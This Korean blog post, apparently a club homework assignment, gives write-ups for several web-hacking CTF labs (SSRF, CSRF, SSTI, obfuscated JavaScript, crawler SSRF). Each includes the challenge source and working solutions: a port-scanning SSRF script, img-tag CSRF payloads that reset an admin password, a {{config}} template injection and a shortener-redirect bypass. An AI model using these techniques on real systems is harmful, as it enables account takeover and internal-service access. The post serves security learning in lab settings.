Layer7 동아리 과제

웹 해킹 4차시 과제

msh1307 2022. 5. 16. 01:29

web-ssrf 소스코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
 
app = Flask(__name__)
app.secret_key = os.urandom(32)
 
try:
    FLAG = open("./flag.txt""r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"
 
 
@app.route("/")
def index():
    return render_template("index.html")
 
 
@app.route("/img_viewer", methods=["GET""POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url""")
        urlp = urlparse(url)
        if url[0== "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png""rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png""rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)
 
 
local_host = "127.0.0.1"
local_port = random.randint(15001800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
 
 
def run_local_server():
    local_server.serve_forever()
 
 
threading._start_new_thread(run_local_server, ())
 
app.run(host="0.0.0.0", port=8000, threaded=True)
 
 
cs

풀이


27번째 줄부터 보면, 메소드가 POST일 때, url을 받아와서 url 파싱을 해주고, /로 시작하면 앞에 http://localhost:8000를 붙여준다. 그다음 netloc을 가져와서 localhost나 127.0.0.1이면 error.png를 띄워준다. 아니면 요청을 보내고 받아온 데이터를 base64로 인코딩하고 utf-8로 디코딩해주고, 띄워준다. 

Thread를 사용해서 로컬호스트 랜덤 포트로 서버를 하나 더 돌려주고 있다. 

http.server.SimpleHTTPRequestHandler는 디렉토리에서 파일을 보여준다. 

 

문제를 풀기 위해서 로컬 호스트 랜덤 포트로 돌고 있는 서버에 접근할 필요가 있다. 

코드에서는 post로 받은 url을 파싱만 하고 바로 비교만 해주기 때문에 LocalHost같이 적어주면 필터링을 우회할 수 있다. 

error.png가 base64인코딩되서 src부분을 봐주면 

이렇게 되어있다.

그래서 이 src부분을 조금 긁어와서, 로컬 호스트로 요청을 계속 보내주다 이 NOT FOUND가 뜨지 않는 경우를 찾아주면 된다. 

파이썬 requests로 코드를 작성해보았다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = 'http://host1.dreamhack.games:12717/img_viewer';
port= 1500;
while True:
    data = {"url":f"http://locAlhost:{port}"};
    re = requests.post(url,data=data);
    if(re.text.find('iVBORw0KGgo')==-1):
        print(f"found port : {port}");
        break;
    print(data);
    print('index = '+str(re.text.find('iVBORw0KGgo')));
    port+=1;
    if(port>1800):
        break;
 
 
cs

저러고 기다리다보면 언젠가 나온다. 

나왔다. 

http://loCALhost:1674로 요청 보내주고, 

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPgo8dGl0bGU+RGlyZWN0b3J5IGxpc3RpbmcgZm9yIC88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5Pgo8aDE+RGlyZWN0b3J5IGxpc3RpbmcgZm9yIC88L2gxPgo8aHI+Cjx1bD4KPGxpPjxhIGhyZWY9ImFwcC5weSI+YXBwLnB5PC9hPjwvbGk+CjxsaT48YSBocmVmPSJlcnJvci5wbmciPmVycm9yLnBuZzwvYT48L2xpPgo8bGk+PGEgaHJlZj0iZmxhZy50eHQiPmZsYWcudHh0PC9hPjwvbGk+CjxsaT48YSBocmVmPSJyZXF1aXJlbWVudHMudHh0Ij5yZXF1aXJlbWVudHMudHh0PC9hPjwvbGk+CjxsaT48YSBocmVmPSJzdGF0aWMvIj5zdGF0aWMvPC9hPjwvbGk+CjxsaT48YSBocmVmPSJ0ZW1wbGF0ZXMvIj50ZW1wbGF0ZXMvPC9hPjwvbGk+CjwvdWw+Cjxocj4KPC9ib2R5Pgo8L2h0bWw+Cg==

를 디코딩하면 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="app.py">app.py</a></li>
<li><a href="error.png">error.png</a></li>
<li><a href="flag.txt">flag.txt</a></li>
<li><a href="requirements.txt">requirements.txt</a></li>
<li><a href="static/">static/</a></li>
<li><a href="templates/">templates/</a></li>
</ul>
<hr>
</body>
</html>
 
 
cs

가 나오고, flag.txt를 다시 요청해주면 된다. 

REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9를 base64 디코딩을 해주면, 

DH{43dd2189056475a7f3bd11456a17ad71}가 나온다. 

csrf-1 소스 코드


 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
 
app = Flask(__name__)
app.secret_key = os.urandom(32)
 
try:
    FLAG = open("./flag.txt""r").read()
except:
    FLAG = "[**FLAG**]"
 
 
def read_url(url, cookie={"name""name""value""value"}):
    cookie.update({"domain""127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True
 
 
def check_csrf(param, cookie={"name""name""value""value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
 
 
@app.route("/")
def index():
    return render_template("index.html")
 
 
@app.route("/vuln")
def vuln():
    param = request.args.get("param""").lower()
    xss_filter = ["frame""script""on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param
 
 
@app.route("/flag", methods=["GET""POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param""")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'
 
        return '<script>alert("good");history.go(-1);</script>'
 
 
memo_text = ""
 
 
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo"None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)
 
 
@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid"""!= "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"
 
 
app.run(host="0.0.0.0", port=8000)
 
 
cs

csrf-1 풀이


/admin/notice_flag는 127.0.0.1에서 접속이 가능하고, userid가 admin이어야 한다. 

접속을 성공하면 memo_text에 추가를 해줘서 나중에 /memo에 들어가 보면 flag가 기록되어 있을 것이다. 

/flag에서 param을 넘겨줄 수 있다. 

그냥 요청만 보내주면 되니 <img src='/admin/notice_flag'>만 넘겨줘도 바로 풀린다. 

 

simple-ssti 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket
 
app = Flask(__name__)
 
try:
    FLAG = open('./flag.txt''r').read()
except:
    FLAG = '[**FLAG**]'
 
app.secret_key = FLAG
 
 
@app.route('/')
def index():
    return render_template('index.html')
 
@app.errorhandler(404)
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
''' % (request.path)
    return render_template_string(template), 404
 
app.run(host='0.0.0.0', port=8000)
 
 
 
cs

simple-ssti  풀이


path를 넣어주니까 /{{config}}로 secret_key도 볼 수 있다.

SECRET_KEY를 볼 수 있다. 

funjs 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<html>
 
<head>
    <style>
        * {
            margin: 0;
        }
    </style>
    <script>
        var box;
        window.onload = init;
 
        function init() {
            box = document.getElementById("formbox");
            setInterval(moveBox, 1000);
        }
 
        function moveBox() {
            box.posX = Math.random() * (window.innerWidth - 64);
            box.posY = Math.random() * (document.documentElement.scrollHeight - 64);
            box.style.marginLeft = box.posX + "px";
            box.style.marginTop = box.posY + "px";
            debugger; 
        }
 
        function text2img(text) {
            var imglist = box.getElementsByTagName('img');
            while (imglist.length > 0) {
                imglist[0].remove();
            }
            var canvas = document.createElement("canvas");
            canvas.width = 620;
            canvas.height = 80;
            var ctx = canvas.getContext('2d');
            ctx.font = "30px Arial";
            var text = text;
            ctx.fillText(text, 1050);
            var img = document.createElement("img");
            img.src = canvas.toDataURL();
            box.append(img);
        };
 
        function main() {
            var _0x1046 = ['2XStRDS''1388249ruyIdZ''length''23461saqTxt''9966Ahatiq''1824773xMtSgK''1918853csBQfH''175TzWLTY''flag''getElementById''94hQzdTH''NOP\x20!''11sVVyAj''37594TRDRWW''charCodeAt''296569AQCpHt''fromCharCode''1aqTvAU'];
            var _0x376c = function(_0xed94a5, _0xba8f0f) {
                _0xed94a5 = _0xed94a5 - 0x175
                var _0x1046bc = _0x1046[_0xed94a5];
                return _0x1046bc;
            };
            var _0x374fd6 = _0x376c; 
            (function(_0x24638d, _0x413a92) {
                var _0x138062 = _0x376c;
                while (!![]) {
                    try {
                        var _0x41a76b = -parseInt(_0x138062(0x17f)) + parseInt(_0x138062(0x180)) * -parseInt(_0x138062(0x179)) + -parseInt(_0x138062(0x181)) * -parseInt(_0x138062(0x17e)) + -parseInt(_0x138062(0x17b)) + -parseInt(_0x138062(0x177)) * -parseInt(_0x138062(0x17a)) + -parseInt(_0x138062(0x17d)) * -parseInt(_0x138062(0x186)) + -parseInt(_0x138062(0x175)) * -parseInt(_0x138062(0x184));
                        if (_0x41a76b === _0x413a92) break;
                        else _0x24638d['push'](_0x24638d['shift']());
                    } catch (_0x114389) {
                        _0x24638d['push'](_0x24638d['shift']());
                    }
                }
            }(_0x1046, 0xf3764));
            var flag = document[_0x374fd6(0x183)](_0x374fd6(0x182))['value'], //flag = document['getElementById']('flag')['value']
                _0x4949 = [0x200x5e0x7b0xd20x590xb10x340x720x1b0x690x610x3c0x110x350x650x800x90x9d0x90x3d0x220x7b0x10x9d0x590xaa0x20x6a0x530xa70xb0xcd0x250xdf0x10x9c],
                _0x42931 = [0x240x160x10xb10xd0x4d0x10x130x1c0x320x10xc0x200x20x10xe10x2d0x6c0x60x590x110x170x350xfe0xa0x7a0x320xe0x130x6f0x50xae0xc0x7a0x610xe1],
                operator = [(_0x3a6862, _0x4b2b8f) => {
                    return _0x3a6862 + _0x4b2b8f;
                }, (_0xa50264, _0x1fa25c) => {
                    return _0xa50264 - _0x1fa25c;
                }, (_0x3d7732, _0x48e1e0) => {
                    return _0x3d7732 * _0x48e1e0;
                }, (_0x32aa3b, _0x53e3ec) => {
                    return _0x32aa3b ^ _0x53e3ec;
                }],
                getchar = String[_0x374fd6(0x178)];
            if (flag[_0x374fd6(0x17c)] != 0x24) { 
                text2img(_0x374fd6(0x185)); 
                return;
            }
            for (var i = 0x0; i < flag[_0x374fd6(0x17c)]; i++) {
                if (flag[_0x374fd6(0x176)](i) == operator[i % operator[_0x374fd6(0x17c)]](_0x4949[i], _0x42931[i])) {} else
                    text2img(_0x374fd6(0x185)); 
                    return;
                }
            }
            text2img(flag);
        }
    </script>
</head>
 
<body>
    <div id='formbox'>
        <h2>Find FLAG !</h2>
        <input type='flag' id='flag' value=''>
        <input type='button' value='submit' onclick='main()'>
    </div>
</body>
 
</html>
 
cs

funjs 풀이


13번째 줄을 보면 init()를 볼 수 있다. 11번째 줄에서 로딩이 되면 init를 호출한다.

init는 box=document.getElementById("formbox")를 통해서 입력 칸 객체를 받아와 준다. 1000밀리 초 즉 1초마다 moveBox를 호출해준다. moveBox는 굳이 신경 써줄 필요는 없다. 95번째 줄을 보면 버튼을 클릭해줬을 때, main함수가 실행이 된다. main함수를 보면, 45번째 줄에서 _0x376c에 첫 번째 매개변수를 받아서 0x175를 빼주는 것을 알 수 있다. 두 번째 매개변수는 아예 쓰이지 않는다. 그리고 그다음에 _0x376c를 _0x138062에 담아준다. 콘솔에 넣어준다.

(function(){})()는 함수를 즉시 실행시켜준다. 마찬가지로 콘솔에 넣어준다. 

62번째 줄부터 보면 flag에 이상하게 적혀있는데, 얘도 콘솔에 돌려서 확인을 해보면

 

flag = document['getElementById']('flag')['value']가 된다는 것을 알 수 있다.

그리고 _0x4949와 _0x42931에 값을 넣어주고, operator도 배열로 함수를 넣어줬다.

flag를 제외하고 얘네들도 콘솔에 넣어준다. 앞에 var도 붙여줘야 한다. 

76번째 줄을 보면 flag [_0x374fd6(0x17)]가 있다.

돌리면 length 나온다. 

flag['length']가 된다. 

조건문도 보면 flag['length']가 0x24가 아니면 text2img(_0x374fd6(0x815))를 리턴한다.

돌리면 text2img('NOP!')이 나온다. 

0x24면 34니 flag.length가 34가 돼야 된다. 

이후 80번째 줄에서 for문을 0부터 34까지 돌린다. 

operator[_0x374fd6(0x17 c)]를 돌리면 4가 나온다.

_0x374fd6(0x176)을 돌리면 charCodeAt이 나와서 최종적으로 조건문은 flag['charCodeAt'](i) == operator[i%4](_0x4949[i],_0x42931[i])가 되고, 참이면 text2img(flag)가 실행되고 아니면 NOP!을 띄운다. 

charCodeAt은 유니코드를 숫자로 바꿔주는 역할을 하니까 비교하는 operator[i%4](_0x4949[i],_0x42931[i]) 부분을 확인해주면 된다. 

for문을 돌려서 확인하면 된다. 

webhacking.kr old-54 문제


webhacking.kr old-54 풀이


코드를 보면 XMLHttpRequest로 따로 객체를 만들어준다.

그리고 open으로 초기화해주고, send로 요청을 보낸다. 자세히는 잘 모르겠다. 

responseText를 받아서 aview.innerHTML을 바꿔준다. aview를 찾아보면

여기다. 

문제에 접속하면 setTimeout("answer(0)",1000)을 통해 1초 뒤에 answer(0)을 호출하고, answer은? m파라미터를 1씩 더해주면서 보내준다. 그리고 aview.innerHTML을 응답받은 텍스트로 바꿔준다. 

그러면 responseText만 순차적으로 가져와주면 flag를 얻을 수 있다.

네트워크 탭에서 계속 요청을 보내주는 것을 볼 수 있고 받은 내용을 볼 수 있다. 

보기 번거로우니 코드를 짜 봤다.

얻을 수 있다.

csrf-2 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
import urllib
import os
 
app = Flask(__name__)
app.secret_key = os.urandom(32)
 
try:
    FLAG = open("./flag.txt""r").read()
except:
    FLAG = "[**FLAG**]"
 
users = {
    'guest''guest',
    'admin': FLAG
}
 
session_storage = {}
 
def read_url(url, cookie={"name""name""value""value"}):
    cookie.update({"domain""127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True
 
 
def check_csrf(param, cookie={"name""name""value""value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
 
 
@app.route("/")
def index():
    session_id = request.cookies.get('sessionid'None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
 
    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
 
 
@app.route("/vuln")
def vuln():
    param = request.args.get("param""").lower()
    xss_filter = ["frame""script""on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param
 
 
@app.route("/flag", methods=["GET""POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param""")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid""value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'
 
        return '<script>alert("good");history.go(-1);</script>'
 
 
@app.route('/login', methods=['GET''POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'
 
 
@app.route("/change_password")
def change_password():
    pw = request.args.get("pw""")
    session_id = request.cookies.get('sessionid'None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
 
    users[username] = pw
    return 'Done'
 
app.run(host="0.0.0.0", port=8000)
 
 
 
cs

csrf-2 풀이


/vuln에서 xss를 막기 위해서 frame, script, on을 막는다. 

 

/login에서는 POST로 username과 password를 받고 로그인에 성공하면, session_id를 만들어서 session_storage에 보관해준 뒤, session_id를 클라이언트에게 보내준다. 

 

/change_password에서는 GET으로 pw와 session_id 파라미터를 따로 넘겨받는다.

만약 세션 id가 유효하면 pw 파라미터에 넘겨진 값으로 비밀번호를 재설정하고 Done을 리턴한다.

 

/flag에서는 POST로 param 파라미터를 받고 나서 admin의 session_id를 갱신해준다. 

그다음 param과 세션 id를 포함한 쿠키를 인수로 check_csrf를 호출한다. 

check_csrf는 param을 url 인코딩해주고 url에 저장해서 read_url의 인수로 넣어주고 호출한다.

read_url은 cookie를 추가해주고, url로 GET 요청을 보낸다.

 

/flag에 들어가서 xss 필터링에 걸리지 않도록 <img src='http://127.0.0.1:8000/change_password?pw=123'> 을 입력하면 된다. 

알아서 요청이 change_password에 가게 되고, 이미 admin의 세션 id를 가지고 있으니 비밀번호가 123으로 바뀔 것이다.

admin/123으로 로그인하면 flag가 정상적으로 출력된다.

 

webhacking.kr old 10 문제


webhacking.kr old 10 풀이


코드를 봤는데, 1600px면 풀리는 거 같아서 1599px로 수정하고 한번 더 눌렀다.

이미 풀어서 이렇게 뜬다.

CSRF Advanced 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.webdriver.common.by import By
from selenium import webdriver
from hashlib import md5
import urllib
import os
 
app = Flask(__name__)
app.secret_key = os.urandom(32)
 
try:
    FLAG = open("./flag.txt""r").read()
except:
    FLAG = "[**FLAG**]"
 
users = {
    'guest''guest',
    'admin': FLAG
}
 
session_storage = {}
token_storage = {}
 
def read_url(url, cookie={"name""name""value""value"}):
    cookie.update({"domain""127.0.0.1"})
    options = webdriver.ChromeOptions()
    try:
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/login")
        driver.add_cookie(cookie)
        driver.find_element(by=By.NAME, value="username").send_keys("admin")
        driver.find_element(by=By.NAME, value="password").send_keys(users["admin"])
        driver.find_element(by=By.NAME, value="submit").click()
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
 
 
def check_csrf(param, cookie={"name""name""value""value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
 
@app.route("/")
def index():
    session_id = request.cookies.get('sessionid'None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
 
 
@app.route("/vuln")
def vuln():
    param = request.args.get("param""").lower()
    xss_filter = ["frame""script""on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param
 
 
@app.route("/flag", methods=["GET""POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param""")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'
 
        return '<script>alert("good");history.go(-1);</script>'
 
 
@app.route('/login', methods=['GET''POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'
 
 
@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid'None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw"None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken"""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'
 
app.run(host="0.0.0.0", port=8000)
cs

CSRF Advanced 풀이


/에서는 index.html을 렌더링 해준다.

 

/vuln에서는 param을 파라미터로 받아서 frame, script, on을 필터링해주고 리턴을 해줍니다.

구문이 실행될 수 있습니다.

 

/flag에서는 POST로 param을 받아서 check_csrf에 param을 넣어서 호출해줍니다. check_csrf에서 param을 url 인코딩해주고 vuln에 param 파라미터를 넣어서 url을 만들고 read_url에 url을 넣어서 호출해줍니다. read_url은 /login에서 admin으로 로그인을 해준다. /login은 session_id를 갱신하고, token_storage에 토큰을 저장한다. 그 후 인수로 받은 url에 요청을 보낸다. 

/change_password는 pw와 csrftoken을 파라미터로 받아서 변경을 해준다. 

당연히 session_id에 해당하는 계정의 비밀번호를 바꿔준다.

 

/flag에서 param에 /change_password에 비밀번호를 바꾸도록 요청을 보내주면 된다.

token_storage에 저장되는 csrftoken은 md5((username + request.remote_addr).encode()).hexdigest()로 만들어진다.

단방향 해쉬 함수 md5는 인풋이 같으면 같은 결괏값을 리턴한다. username은 admin이고 request.remote_addr은 127.0.0.1이니 그대로 돌려보면 csrf_token을 알 수 있다.

이걸 csrf_token으로 /change_password에 파라미터를 넣어서 요청하게 만들어주면 된다.

/flag에 <img src='http://127.0.0.1:8000/change_password?pw=123&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb'>를 넣어서 보내주면, admin의 비밀번호를 123으로 바꿀 수 있다.

로그인해주면 flag가 나온다.

crawling 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#app.py
import socket
import requests
import ipaddress
from urllib.parse import urlparse
from flask import Flask, request, render_template
 
app = Flask(__name__)
app.flag = '__FLAG__'
 
def lookup(url):
    try:
        return socket.gethostbyname(url)
    except:
        return False
 
def check_global(ip):
    try:
        return (ipaddress.ip_address(ip)).is_global
    except:
        return False
 
def check_get(url):
    ip = lookup(urlparse(url).netloc)
    if ip == False or ip =='0.0.0.0':
        return "Not a valid URL."
    res=requests.get(url)
    if check_global(ip) == False:
        return "Can you access my admin page~?"
    for i in res.text.split('>'):
        if 'referer' in i:
            ref_host = urlparse(res.headers.get('refer')).netloc
            if ref_host == 'localhost':
                return False
            if ref_host == '127.0.0.1':
                return False 
    res=requests.get(url)
    return res.text
 
@app.route('/admin')
def admin_page():
    if request.remote_addr != '127.0.0.1':
            return "This is local page!"
    return app.flag
 
@app.route('/validation')
def validation():
    url = request.args.get('url''')
    ip = lookup(urlparse(url).netloc)
    res = check_get(url)
    return render_template('validation.html', url=url, ip=ip, res=res)
 
@app.route('/')
def index():
    return render_template('index.html')
 
if __name__=='__main__':
    app.run(host='0.0.0.0', port=3333)
 
cs

crawling 풀이


크롤러가 ip가 공인 ip인지 확인을 해주고, localhost인지 127.0.0.1이 아닌지 확인을 해준다.

그러면 공인 ip를 로컬 호스트로 리다이렉션 해주는 사이트를 이용해서 넣어주면 된다.

http://asq.kr/

 

asq.kr

url단축

asq.kr

를 이용해서 http://127.0.0.1:3333/admin를 줄여준다음에 크롤러에 넣어줬다.

나왔다.

'Layer7 동아리 과제' 카테고리의 다른 글

웹 해킹 7차시 과제  (0) 2022.05.22
웹 해킹 6차시 과제  (0) 2022.05.19
웹 해킹 2차시 과제  (0) 2022.05.08
웹 해킹 3차시 과제  (0) 2022.05.05
C 4차시 과제  (0) 2022.04.16